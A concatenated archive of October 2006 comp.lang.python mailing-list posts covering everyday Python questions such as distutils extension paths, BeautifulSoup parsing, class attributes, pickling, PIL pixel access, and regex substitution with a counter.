From alexandre.guimond at siemens.com  Wed Oct 18 06:57:39 2006
From: alexandre.guimond at siemens.com (Alexandre Guimond)
Date: 18 Oct 2006 03:57:39 -0700
Subject: portable extensions options for external libraries
Message-ID: <1161169059.597192.43430@k70g2000cwa.googlegroups.com>

Hi.

I want to create a portable setup.py file for windows / linux for an
extension package that i need to link with external libraries (gsl and
boost). on windows i do something like this:

imaging = Extension( 'pyag.imaging._imaging',
                     sources = ( glob.glob(
'Source/pyag/imaging/Src/*.cpp' ) +
                                 glob.glob(
'Source/pyag/imaging/Src/*.h' ) ),
                     include_dirs = ( get_numpy_include_dirs() +
                                      [ 'Source/pyag/imaging/Src/',
                                        'C:/Program
Files/boost/include/boost-1_35',
                                        'C:/Program
Files/GnuWin32/include'] ),
                     library_dirs = [ 'C:/Program Files/GnuWin32/lib'
],
                     libraries = [ 'libgsl', 'libgslcblas' ] )

obviously, the paths could vary. on unix, i need something like:

imaging = Extension( 'pyag.imaging._imaging',
                     sources = ( glob.glob(
'Source/pyag/imaging/Src/*.cpp' ) +
                                 glob.glob(
'Source/pyag/imaging/Src/*.h' ) ),
                     include_dirs = ( get_numpy_include_dirs() +
                                      [ 'Source/pyag/imaging/Src/' ] )
)

so my question is: what is the right way of specifying extensions
options (include_dirs, libraries, library_dirs) so that they are
portable between windows and linux? i'm thinking environment variables.
Though fairly easy to do, i was wondering if python/distutils provided
something more convenient, like searching through "common" directories,
though those aren't very standard on windows? Optimally, i would like
to have something like:

imaging = Extension( 'pyag.imaging._imaging',
                     sources = ( glob.glob(
'Source/pyag/imaging/Src/*.cpp' ) +
                                 glob.glob(
'Source/pyag/imaging/Src/*.h' ) ),
                     include_dirs = ( get_numpy_include_dirs() +
                                      [ 'Source/pyag/imaging/Src/' ] +
                                        boost_include_dirs +
                                        gsl_include_dirs ),
                     library_dirs = boost_library_dirs +
gsl_library_dirs,
                     libraries = boost_libraries + gsl_libraries )


thx for any help.

alex.



From Bulkan at gmail.com  Fri Oct 20 06:38:57 2006
From: Bulkan at gmail.com (placid)
Date: 20 Oct 2006 03:38:57 -0700
Subject: BeautifulSoup problem
In-Reply-To: <pan.2006.10.20.08.45.05.513778@gmx.net>
References: <1161330895.808308.292910@i42g2000cwa.googlegroups.com>
	<pan.2006.10.20.08.45.05.513778@gmx.net>
Message-ID: <1161340737.698182.208880@k70g2000cwa.googlegroups.com>


Marc 'BlackJack' Rintsch wrote:
> In <1161330895.808308.292910 at i42g2000cwa.googlegroups.com>, placid wrote:
>
> > Hi all,
> >
> > Just wondering if anyone knows how to get the text between the tags of
> > the following Tag object?
> >
> > <span class="nametext">Hello</span>
>
> Are you looking for a way to search for tag *and* attributes?  What about
> this::
>
>   In [12]: soup.find('span', {'class': 'nametext'}).contents
>   Out[12]: [u'Hello']

No this wasnt what i was looking for because i didnt know you could do
this. Thanks for that, this is better.

Cheers



From hanumizzle at gmail.com  Fri Oct  6 00:53:25 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 00:53:25 -0400
Subject: dictionary of list from a file
In-Reply-To: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
Message-ID: <463ff4860610052153p514f1a8bm7597a3d25865d4f9@mail.gmail.com>

On 4 Oct 2006 06:09:21 -0700, andrea.spitaleri at gmail.com
<andrea.spitaleri at gmail.com> wrote:
> Hi guys,
> this is my first post. my "programming" background is perlish scripting
> and now I am learning python. I need to create a dictionary of list
> from a file. Normally in perl I use to do like:

You may wish to consider some kind of data serialization. For python
specifically, there's pickle and cPickle, for many platforms there is
YAML (I recommend this; the py binding is really good), and as a last
resort you can use XML (yuck).


From oliphant.travis at ieee.org  Wed Oct 25 02:38:21 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Wed, 25 Oct 2006 00:38:21 -0600
Subject: numbers to string
In-Reply-To: <saA%g.18516$A27.17960@trnddc08>
References: <saA%g.18516$A27.17960@trnddc08>
Message-ID: <ehn0m1$man$1@sea.gmane.org>

David Isaac wrote:
>>>> y
> [116, 114, 121, 32, 116, 104, 105, 115]
>>>> z=''.join(chr(yi) for yi in y)
>>>> z
> 'try this'
> 
> What is an efficient way to do this if y is much longer?
> (A numpy solution is fine.)

Here's another numpy solution just for fun:

import numpy
z = numpy.array(y,dtype='u1').view('S%d' % len(y))[0]


-Travis



From pavlovevidence at gmail.com  Wed Oct 18 04:46:21 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 18 Oct 2006 01:46:21 -0700
Subject: creating many similar properties
In-Reply-To: <1161160436.888246.21020@m73g2000cwd.googlegroups.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
	<1161160057.392965.323330@m73g2000cwd.googlegroups.com>
	<1161160436.888246.21020@m73g2000cwd.googlegroups.com>
Message-ID: <1161161181.169918.126210@b28g2000cwb.googlegroups.com>


Michele Simionato wrote:
> Carl Banks wrote:
> > Devil's Advocate: he did say "hidden magic TO YOUR CLASS".
> >
> > If you use a (real) metaclass, then you have the icky feeling of a
> > class permanently tainted by the unclean metaclass (even though the
> > metaclass does nothing other than touch the class dict upon creation);
> > whereas if you use Michele Simionato's hack, the icky feeling of using
> > a stack frame object goes away after the property is created: you are
> > left with a clean untainted class.
>
> Yep, exactly.
>
> > Personally, the former doesn't make me feel icky at all.
>
> Please, do this experiment: take all classes defined in the Python
> standard library and add
> to them a custom do-nothing metaclass. See what happens.

Do you expect the result to be better or worse than if you applied
stack frame hacks to the whole library?

Come on, I don't think anyone's under the impression we're being
indiscriminate here.


Carl Banks

(BTW, most of the standard library still uses old-style classes.)



From jorge.com.br at gmail.com  Tue Oct  3 09:12:16 2006
From: jorge.com.br at gmail.com (Jorge Vilela)
Date: Tue, 3 Oct 2006 09:12:16 -0400
Subject: Python components
Message-ID: <4cfa17b10610030612h72af1f2cod89bc30da6ad9fd2@mail.gmail.com>

Hello group!
We know that Python have many components not too knowledge.
I think that I'm looking for one of them.
I need embed a good document editor ( as Word or Writer ) in my small python
application, for document editing.
It's to lawyers make important documents and control them using the
application, that's the reason why need be a good editor (edit tables,
border, paragraphs etc).
I had though about anything that embed the Microsoft word/Open Office Writer
in application, but now i think kinda impossible.
So, maybe exist some component for a rich editing documents.
Do anyone know any?

I'm using pyGTK, but dont care if it use any other grafic tool.

Thanks
Jorge
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From daigno at gmail.com  Wed Oct 25 17:15:47 2006
From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault?=)
Date: Wed, 25 Oct 2006 17:15:47 -0400
Subject: Using classes in python
In-Reply-To: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com>
References: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com>
Message-ID: <453FD403.7000800@gmail.com>

trevor lock wrote:
> Hello,
>
> I've just started using python and have observed the following :
>
> class foo:
>     a=[]
>     def __init__(self, val):
>             self.a.append ( val )
>     def getA(self):
>             print self.a
>             return self.a
>
> z = foo(5)
> y = foo(4)
> z.getA()
> >> [5, 4]
>
> I was expecting that everytime I created an instance of the class that 
> a unique dictionary was also created, however it seems that only one 
> dictionary is created.
Yep...  Normal...

I just asked the question here a couple days ago...  I felt like I 
bumbed into a wall, even reported as a bug...

Turned out Guido and his bunch cleaned the window so nicely I bumbed 
right into it.....  All I had to do is open the door :-)

http://youtube.com/watch?v=6E7urz5rXVc&mode=related&search=

No really, jokes appart here goes :

"a" here is a *class* attribute.  When you create a new *Instance* of a 
class you can access the atttribute of the class.  But what you need is 
a Instance attribute...

Try this

class toto:
    list = []
    def __init__(self,
                 val):
        self.list = []
        self.list.append(val)
        toto.list.append(val)
       
    def getList(self):
        return self.list
   
    def getClassList(self):
        return toto.list
   
if __name__ == '__main__':
    toto1 = toto(6)
    titi1 = toto("Patate")
   
    print toto1.getList()
    print titi1.getList()
    print toto1.getClassList()
    print titi1.getClassList()


running this gives :

[6]
['Patate']
[6, 'Patate']
[6, 'Patate']

Therefore creating an instance of toto creates *two* instances of the 
list attribute.  The object instance overshadowing the class attribute...
>
> How can I create a new dictionary for each instance?
Simple answer is therefore to place variable declaration in the __init__ 
method...
>
> Thanks,
> Trevor.



From toby.tan at gmail.com  Mon Oct 30 21:18:31 2006
From: toby.tan at gmail.com (Toby)
Date: 30 Oct 2006 18:18:31 -0800
Subject: Error importing .pyd python extension
In-Reply-To: <1162255114.879457.175290@h48g2000cwc.googlegroups.com>
References: <1162255114.879457.175290@h48g2000cwc.googlegroups.com>
Message-ID: <1162261111.166488.25300@m7g2000cwm.googlegroups.com>

P.S. I have run 'depends', and all the dll's are there, the only error
its throwing up is:

"Warning: At least one module has an unresolved import due to a missing
export function in a delay-load dependent module."

The offending file is mpr.dll in c:\windows\system32\

Any ideas?

Toby

Toby wrote:
> Hi, I've managed to get my hands on the ms 2003 toolkit, and have
> successfully (i think) created a .pyd file in win xp (setup.py is
> provided intersystems cache):
>
> --------------------------------------------------------------------
> C:\CacheSys\Dev\python>setup.py install
> enter directory where you installed Cache'c:\CacheSys
> libdir=c:\CacheSys\dev\cpp\lib
> include dir=c:\CacheSys\dev\cpp\include
> running install
> running build
> running build_py
> running build_ext
> running install_lib
> creating C:\Program Files\Python243\Lib\site-packages\intersys
> copying build\lib.win32-2.4\intersys\pythonbind.py -> C:\Program
> Files\Python243
> \Lib\site-packages\intersys
> copying build\lib.win32-2.4\intersys\pythonbind1.pyd -> C:\Program
> Files\Python2
> 43\Lib\site-packages\intersys
> copying build\lib.win32-2.4\intersys\__init__.py -> C:\Program
> Files\Python243\L
> ib\site-packages\intersys
> byte-compiling C:\Program
> Files\Python243\Lib\site-packages\intersys\pythonbind.
> py to pythonbind.pyc
> byte-compiling C:\Program
> Files\Python243\Lib\site-packages\intersys\__init__.py
>  to __init__.pyc
>
> C:\CacheSys\Dev\python>cd \program
> files\python243\Lib\site-packages\intersys\
>
> C:\Program Files\Python243\Lib\site-packages\intersys>dir
>  Volume in drive C is SYSTEM
>  Volume Serial Number is 3835-49DE
>
>  Directory of C:\Program Files\Python243\Lib\site-packages\intersys
>
> 31/10/2006  10:47 AM    <DIR>          .
> 31/10/2006  10:47 AM    <DIR>          ..
> 19/10/2006  05:50 PM             1,598 pythonbind.py
> 31/10/2006  10:47 AM             1,961 pythonbind.pyc
> 31/10/2006  09:44 AM            69,632 pythonbind1.pyd
> 17/07/2006  05:34 PM                 2 __init__.py
> 31/10/2006  10:47 AM               145 __init__.pyc
>                5 File(s)         73,338 bytes
>                2 Dir(s)  16,709,017,600 bytes free
> --------------------------------------------------------------------
>
> However, when I try to import pythonbind1.pyd I get the following
> error:
>
> Traceback (most recent call last):
>   File
> "C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py",
> line 1843, in runMain
>     self.dbg.runfile(debug_args[0], debug_args)
>   File
> "C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py",
> line 1538, in runfile
>     h_execfile(file, args, module=main, tracer=self)
>   File
> "C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py",
> line 596, in __init__
>     execfile(file, globals, locals)
>   File "C:\Program
> Files\Python243\Lib\site-packages\intersys\tobytest.py", line 1, in
> __main__
>     import pythonbind1.pyd
> ImportError: DLL load failed: The specified module could not be found.
> 
> 
> Any suggestions?



From goonmail at netspace.net.au  Sun Oct  8 23:16:15 2006
From: goonmail at netspace.net.au (goon)
Date: 8 Oct 2006 20:16:15 -0700
Subject: WSGI - How Does It Affect Me?
In-Reply-To: <mailman.70.1160336094.11739.python-list@python.org>
References: <mailman.70.1160336094.11739.python-list@python.org>
Message-ID: <1160363775.763070.209140@c28g2000cwb.googlegroups.com>

> Trying to research this on the web now

Lots of articles now appearing summarising WSGI ...

For definitive reference:

    <http://www.python.org/dev/peps/pep-0333/> [0]

Overview:

    <http://www.xml.com/lpt/a/1674>  [1] and
    <http://www.xml.com/lpt/a/1675>  [2]



Reference
[0] python.org, 'Python Web Server Gateway Interface v1.0, Phillip J.
Eby'
<http://www.python.org/dev/peps/pep-0333/>
[Accessed Monday, 9 October 2006]

[1] xml.com, ''Introducing WSGI: Python's Secret Web Weapon, James
Gardner'
<http://www.xml.com/lpt/a/1674>
[Accessed Monday, 9 October 2006]

[2] xml.com, 'Introducing WSGI: Python's Secret Web Weapon, Part Two,
James Gardner'
<http://www.xml.com/lpt/a/1675>
[Accessed Monday, 9 October 2006]



From hpsekhon at googlemail.com  Tue Oct  3 09:47:32 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Tue, 03 Oct 2006 14:47:32 +0100
Subject: Best way to handle large lists?
In-Reply-To: <jwjw-E75E09.09362703102006@news.isp.giganews.com>
References: <prrUg.1662$We.477@trndny08>
	<jwjw-E75E09.09362703102006@news.isp.giganews.com>
Message-ID: <452269F4.5000906@googlemail.com>

I don't know much about the python internals either, so this may be the 
blind leading the blind, but aren't dicts much slower to work with than 
lists and therefore wouldn't your suggestion to use dicts be much 
slower? I think it's something to do with the comparative overhead of 
using keys in dicts rather than using positional indexes in lists/arrays...

At least that is what I thought.

Can anyone confirm this?

-h

Hari Sekhon



Bill Williams wrote:
> I don't know enough about Python internals, but the suggested solutions 
> all seem to involve scanning bigList. Can this presumably linear 
> operation be avoided by using dict or similar to find all occurrences of 
> smallist items in biglist and then deleting those occurrences?
>
> Bill Williams
>
>
>
> In article <prrUg.1662$We.477 at trndny08>,
>  Chaz Ginger <cginboston at hotmail.com> wrote:
>
>   
>> I have a system that has a few lists that are very large (thousands or
>> tens of thousands of entries) and some that are rather small. Many times
>> I have to produce the difference between a large list and a small one,
>> without destroying the integrity of either list. I was wondering if
>> anyone has any recommendations on how to do this and keep performance
>> high? Is there a better way than
>>
>> [ i for i in bigList if i not in smallList ]
>>
>> Thanks.
>> Chaz
>>     


From steve at REMOVE.THIS.cybersource.com.au  Fri Oct 27 10:03:52 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 00:03:52 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
Message-ID: <pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>

On Fri, 27 Oct 2006 12:54:35 +0100, Steve Holden wrote:

> Antoon Pardon wrote:
>> On 2006-10-27, Fredrik Lundh <fredrik at pythonware.com> wrote:
>> 
>>>Antoon Pardon wrote:
>>>
>>>
>>>>>since you never publish any code,
>>>>
>>>>This is not True. You shouldn't confuse your lack of recollection
>>>>with reality.
>>>
>>>pointers, please.
>> 
>> 
>> Sorry, the answer is no. I don't care whether you can locate my code
>> or not or wish to believe me or not.
>> 
> Google finds 2 hits for "Anton Pardoon open source". You are ceratinly 
> keeping it well hidden.
> 
> Few people have more right to call you on this than the effbot, well 
> known for his prolific output.


This may come as a shock to some of us in the Open Source arena, but the
care-factor of code is not necessarily tied to the number of distinct
pieces of code released to the public by the code's author. Many people,
for example, care a lot about the software running in nuclear reactors,
regardless of whether or not the code's author is a prolific Open Source
developer.

Of course Fredrik has a proven track record, and the quality of his code
is out there for any interested person to see. That means that the wise
person, even if he disagrees with Fredrik, should take what he has to say
seriously. If Fredrik is dismissive of Antoon's use of "if len(list) != 0"
instead of "if list", we should take that opinion very seriously.

But for all we know, Antoon's code might be responsible for keeping
nuclear reactors running, planes in the air, missiles hitting their
targets, or some other really critical application. His lack of visible
code doesn't *necessarily* mean we should dismiss what he has to say -- it
merely means that his track record is unproven to us.

And even if he does nothing but write trivial scripts for his own use,
that fact alone doesn't make his opinion wrong or foolish.

But in this specific instance, I don't see any advantage to explicitly
testing the length of a list. Antoon might think that is sufficiently
polymorphic, but it isn't. He cares whether the object has zero _length_,
but for true polymorphism, he should be caring about whether the object is
_empty_. Not all empty objects have zero length, or even a length at all.
(E.g. binary trees.) That's why Python classes can use a __nonzero__
method, falling back on __len__ only if __nonzero__ is not defined.


-- 
Steven.



From tjreedy at udel.edu  Tue Oct  3 23:05:01 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 3 Oct 2006 23:05:01 -0400
Subject: Can't get around "IndexError: list index out of range"
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<4522e238$0$25774$4d3efbfe@news.sover.net>
Message-ID: <efv8cs$dv1$1@sea.gmane.org>


"Leif K-Brooks" <eurleif at ecritters.biz> wrote in message 
news:4522e238$0$25774$4d3efbfe at news.sover.net...
> erikwickstrom at gmail.com wrote:
>> I'm trying to get this bit of code to work without triggering the
>> IndexError.
>>
>> import shutil, os, sys
>>
>> if sys.argv[1] != None:
>>     ver = sys.argv[1]
>> else:
>>     ver = '2.14'
>
> Catch it:
>
> try:
>     ver = sys.argv[1]
> except IndexError:
>     ver = '2.14'

Or slice it:

if sys.argv[1:2] != []:
<etc>

tjr





From alexLIGO at googlemail.com  Wed Oct 25 10:32:07 2006
From: alexLIGO at googlemail.com (alexLIGO at googlemail.com)
Date: 25 Oct 2006 07:32:07 -0700
Subject: Save/Store whole class (or another object) in a file
In-Reply-To: <mailman.692.1161182737.11739.python-list@python.org>
References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com>
	<1161182001.167535.87690@i3g2000cwc.googlegroups.com>
	<mailman.692.1161182737.11739.python-list@python.org>
Message-ID: <1161786727.762448.175330@i3g2000cwc.googlegroups.com>

Hi,

Fredrik Lundh wrote:

> alexLIGO at googlemail.com wrote:
>
> > thanks for the reply,but unfortunately this does not work with the type
> > of classes I am dealing with. When trying to pickle the class I get the
> > following error:
> >
> >  File "/usr/lib/python2.4/copy_reg.py", line 76, in _reduce_ex
> >     raise TypeError("a class that defines __slots__ without "
> > TypeError: a class that defines __slots__ without defining __getstate__
> > cannot be pickled
> >
> > So there is something missing in this class?
>
> did you remember to read the error message before posting ?
>

of course I read the error-message, I understand the error-message, BUT
this message is not telling me how anyway to save the data of such a
class in a file!  It does not tell me, that there is absolutely no way
to do that. Maybe there is, maybe there is not.
Thats why I am posting it here!

Alex



From steve at holdenweb.com  Mon Oct 23 17:05:44 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 22:05:44 +0100
Subject: How to get each pixel value from a picture file!
In-Reply-To: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>
Message-ID: <ehjap7$vsj$1@sea.gmane.org>

Lucas wrote:
> I want to change some pixel value in the picture file. how to do it?
> 
The most popular way is probably the Python Image Library, known to its 
friends as PIL:

   http://www.pythonware.com/products/pil/

You will see from

   http://www.pythonware.com/library/pil/handbook/image.htm

that images have .getpixel() and .putpixel() methods that will allow you 
to read and set individual pixels if you want. Be aware that the 
forthcoming release will give faster access using something called 
"pixel access objects", about which I know nothing.

> If I read the file in binary mode, a bit == a pixel ?
> 
Only for monochrome images, of course. Greyscale and color images have 
more bits per pixel, and some formats use a palette mapping to allow 
high color-fidelity with fewer bits per pixel (GIF is one such format).

Download PIL and play with it. I'm sure you'll have a lot of fun, and 
you can do a surprising amount of processing just noodling around in an 
interactive interpreter session.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From alexLIGO at googlemail.com  Wed Oct 18 10:33:21 2006
From: alexLIGO at googlemail.com (alexLIGO at googlemail.com)
Date: 18 Oct 2006 07:33:21 -0700
Subject: Save/Store whole class (or another object) in a file
In-Reply-To: <slrnej9vdl.t6r.sybrenUSE@schuimige.stuvel.eu>
References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com>
	<slrnej9vdl.t6r.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <1161182001.167535.87690@i3g2000cwc.googlegroups.com>

Hi,

thanks for the reply,but unfortunately this does not work with the type
of classes I am dealing with. When trying to pickle the class I get the
following error:

 File "/usr/lib/python2.4/copy_reg.py", line 76, in _reduce_ex
    raise TypeError("a class that defines __slots__ without "
TypeError: a class that defines __slots__ without defining __getstate__
cannot be pickled

So there is something missing in this class? Or any other idea how to
do this?

Alex


Sybren Stuvel wrote:
> alexLIGO at googlemail.com enlightened us with:
> > is it possible in python (with/without matplotlib, numpy etc) to
> > store a whole class with its data into a file
>
> Check out the pickle module.
> 
> Sybren
> -- 
> Sybren St?vel
> St?vel IT - http://www.stuvel.eu/



From ejensen at visi.com  Thu Oct 12 17:31:22 2006
From: ejensen at visi.com (Ed Jensen)
Date: Thu, 12 Oct 2006 21:31:22 -0000
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
Message-ID: <12itd1as7dg9jdd@corp.supernews.com>

Paul Boddie <paul at boddie.org.uk> wrote:
> People who bring up stuff about self and indentation are just showing
> their ignorance

Ouch.  That stings.

Python's "indentation determines scope" makes it hard for me to discuss
Python via mediums like IRC and instant messengers.

It also makes it hard to quickly jump to the top and/or bottom of
code blocks in most editors I use on a day to day basis.

I guess I'm just ignorant.  :(


From skip at pobox.com  Mon Oct 16 17:11:19 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 16 Oct 2006 16:11:19 -0500
Subject: OT: What's up with the starship?
In-Reply-To: <4533EE8A.7030301@hathawaymix.org>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<mailman.580.1161021410.11739.python-list@python.org>
	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>
	<eh0j0d$lme$1@sea.gmane.org> <4533D84B.4060405@hathawaymix.org>
	<eh0p9q$su6$1@sea.gmane.org> <4533EE8A.7030301@hathawaymix.org>
Message-ID: <17715.62839.376767.210816@montanaro.dyndns.org>


    Shane> I'm trying to understand:

    Shane> a) how urgent and/or exploitable this is,

Perhaps not very.  As I indicated in an earlier post, the exploit has been
available since 2001, so it is probably fairly hard to exploit.

    Shane> b) how I can check whether a given Python installation (running
    Shane>    on a server) has been patched, and

If it's running 2.4.4 or 2.5 it should be okay.  If it's running some
earlier version a lot will depend on whether Python was installed by a Linux
distributor (in which case check their version numbers and their release
notes) or installed locally from source.

    Shane> c) whether the security advisory downplays the risk more than it
    Shane>    should, since it appears that many Zope/Plone web servers are
    Shane>    vulnerable.

I can't pretend to divine the true meaning behind all the wording of the
various security advisories.  You'd have to ask each one of the security
organizations.

Here's one example:

    http://secunia.com/advisories/22276/

The application has to work with Unicode on a UCS-4-compiled version of
Python and use the repr() function on such Unicode strings.  Furthermore,
the black hat would have to figure out how to get a suitably crafted Unicode
string into the repr() function at just the right place.

I'm not saying it can't be done, but I think it would be a fairly
challenging undertaking.

Skip




From mail at microcorp.co.za  Sat Oct 14 01:53:54 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sat, 14 Oct 2006 07:53:54 +0200
Subject: Starting out.
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com><1160696990.5969.4.camel@dsktp><mailman.411.1160706099.11739.python-list@python.org><452f06a8$0$5108$afc38c87@news.optusnet.com.au><1160721163.418861.269450@f16g2000cwb.googlegroups.com><mailman.486.1160778822.11739.python-list@python.org>
	<1160784543.238714.132310@k70g2000cwa.googlegroups.com>
Message-ID: <000f01c6ef55$3fa6ea40$03000080@hendrik>

<mensanator at aol.com> wrote:

8<------------------------

> Well, I'm on vacation this week, so 5 pm means nothing to me:
>
> teetertotter
>
> from the Consolidated Word List from puzzlers.org.
>
> Yes, it's also spelled with a hyphen or a space, but as long as this
> is a valid spelling, it counts.
>
> I would recommend NOT looking this up, just take my word for it.
> You may be offended at what you find.

did not need to look it up - I know that teetertotter is a complicated word for
"see-saw".....

- Hendrik




From apardon at forel.vub.ac.be  Wed Oct  4 07:45:03 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 4 Oct 2006 11:45:03 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <slrnei77lv.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-03, LaundroMat <Laundro at gmail.com> wrote:
> Suppose I have this function:
>
> def f(var=1):
> return var*2
>
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..
>
> Thanks in advance.
>

I think the only general solution for your problem would be to
define a defaulter function. Something like the following:

  Default = object()

  def defaulter(f, *args):

    while args:
      if args[-1] is Default:
        args = args[:-1]
      else:
        break
    return f(*args)


The call:

  defaulter(f, arg1, arg2, Default, ..., Default)

would then be equivallent to:

  f(arg1, arg2)

Or in your case you would call:

  defaulter(f, Default)

-- 
Antoon Pardon


From nick at craig-wood.com  Wed Oct  4 05:30:03 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Wed, 04 Oct 2006 04:30:03 -0500
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159875634.285633.226980@k70g2000cwa.googlegroups.com>
Message-ID: <slrnei6v3l.96l.nick@irishsea.home.craig-wood.com>

lbolognini at gmail.com <lbolognini at gmail.com> wrote:
>  And i dunno what the case against Trac is (it looks a fine tool for my
>  small projects) but probably it's not good enough for python.org

Trac is really good in my experience.

  http://trac.edgewall.org/

Python.org has already moved to svn so trac is surely the next part of
the equation.  Having an integrated Bugtracker / Wiki / Svn repository
browser is very helpful.

We use it for all our commercial work.

It is also in use by MythTV which judging by the volume of its mailing
lists is about or more active a project than python.

  http://svn.mythtv.org/trac/

A nice extra is that it is written in python.

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From ray_usenet at yahoo.com  Tue Oct 10 20:30:39 2006
From: ray_usenet at yahoo.com (Ray)
Date: 10 Oct 2006 17:30:39 -0700
Subject: (semi-troll): Is Jython development dead?
In-Reply-To: <1PVWg.35855$HE.987929@weber.videotron.net>
References: <mailman.218.1160491229.11739.python-list@python.org>
	<1PVWg.35855$HE.987929@weber.videotron.net>
Message-ID: <1160526639.638053.120790@b28g2000cwb.googlegroups.com>

Steve Menard wrote:
> Keep in mind that Ruby and Python are close enough in style, that any
> improvements those guys make will also benifit Jython.

This is perhaps true in the long run, in the sense that it may make it
easier for someone to implement Jython because those guys will make the
JVM more dynamic language friendly. But in the short term it surely
benefits Ruby significantly more than any other dynamic languages out
there.

> Also, they haven't been hired to work exclusively on JRuby. They were also
> hired to look at tools to help with programming with dynamic languages. In
> this regard, they can help not only Jython, but Python itself!

This is just like how Microsoft hired Jim Hugunin, isn't it? He was
hired to work on making .NET a friendly platform for dynamic languages.
The fact that he did IronPython benefits Python--bigger initial
exposure to the .NET world. Not Ruby (yet)

> All in all a very good thing to see a high-profile company invest in dynamic
> languages.

Indeed!

> Steve Menard



From mgbg25171 at blueyonder.co.uk  Wed Oct  4 07:49:22 2006
From: mgbg25171 at blueyonder.co.uk (m g william)
Date: Wed, 04 Oct 2006 12:49:22 +0100
Subject: replacing all 'rng's in a buffer with consecutive r[1], r[2]'s
Message-ID: <1159962562.4478.18.camel@localhost.localdomain>

I read a file into a buffer and subject it to re.sub()
I can replace every occurrence of a pattern with a fixed string but when
I try to replace each occurrence with a string that changes (by having
an incrementing number in it, (ie 'repTxt[1]','repTxt[2]'etc), I note
that the incrementing number generator function, I'm calling in
re.sub(), (which works fine outside it), seems to be evaluated only once
and is therefore not incrementing the number.

Can someone please show me a working eg of how to replace 'rng' in a
file with 'r[1]', 'r[2]' etc. This is my first Python program so any
help would be very gratefully received.

Here's my code

[CODE]
#read orig file into buf & close file
import re
infile = file('pyInfile', 'r')
buf = infile.read()
infile.close()
print buf

#replace all allocated streams with 'rng'
print '=========== orig buf ============'; print buf
pat = re.compile('r\[\d+\]')
buf = pat.sub("rng", buf, 0)

#now replace all 'rng's with consecutive streams
#===============================================
def static_num():
    ''' this is a generator function that avoids globals
yield differentiates fn as generator fn which freezes
'''
    x = 0
    while True:
       x += 1
       yield str(x)

static = static_num().next

pat = re.compile('rng')
#there is a problem in that static only seems to get called once.
#need to invoke this every time you get a match for it to
#increment
buf = pat.subn('rng[' + static() + ']', buf, 0)
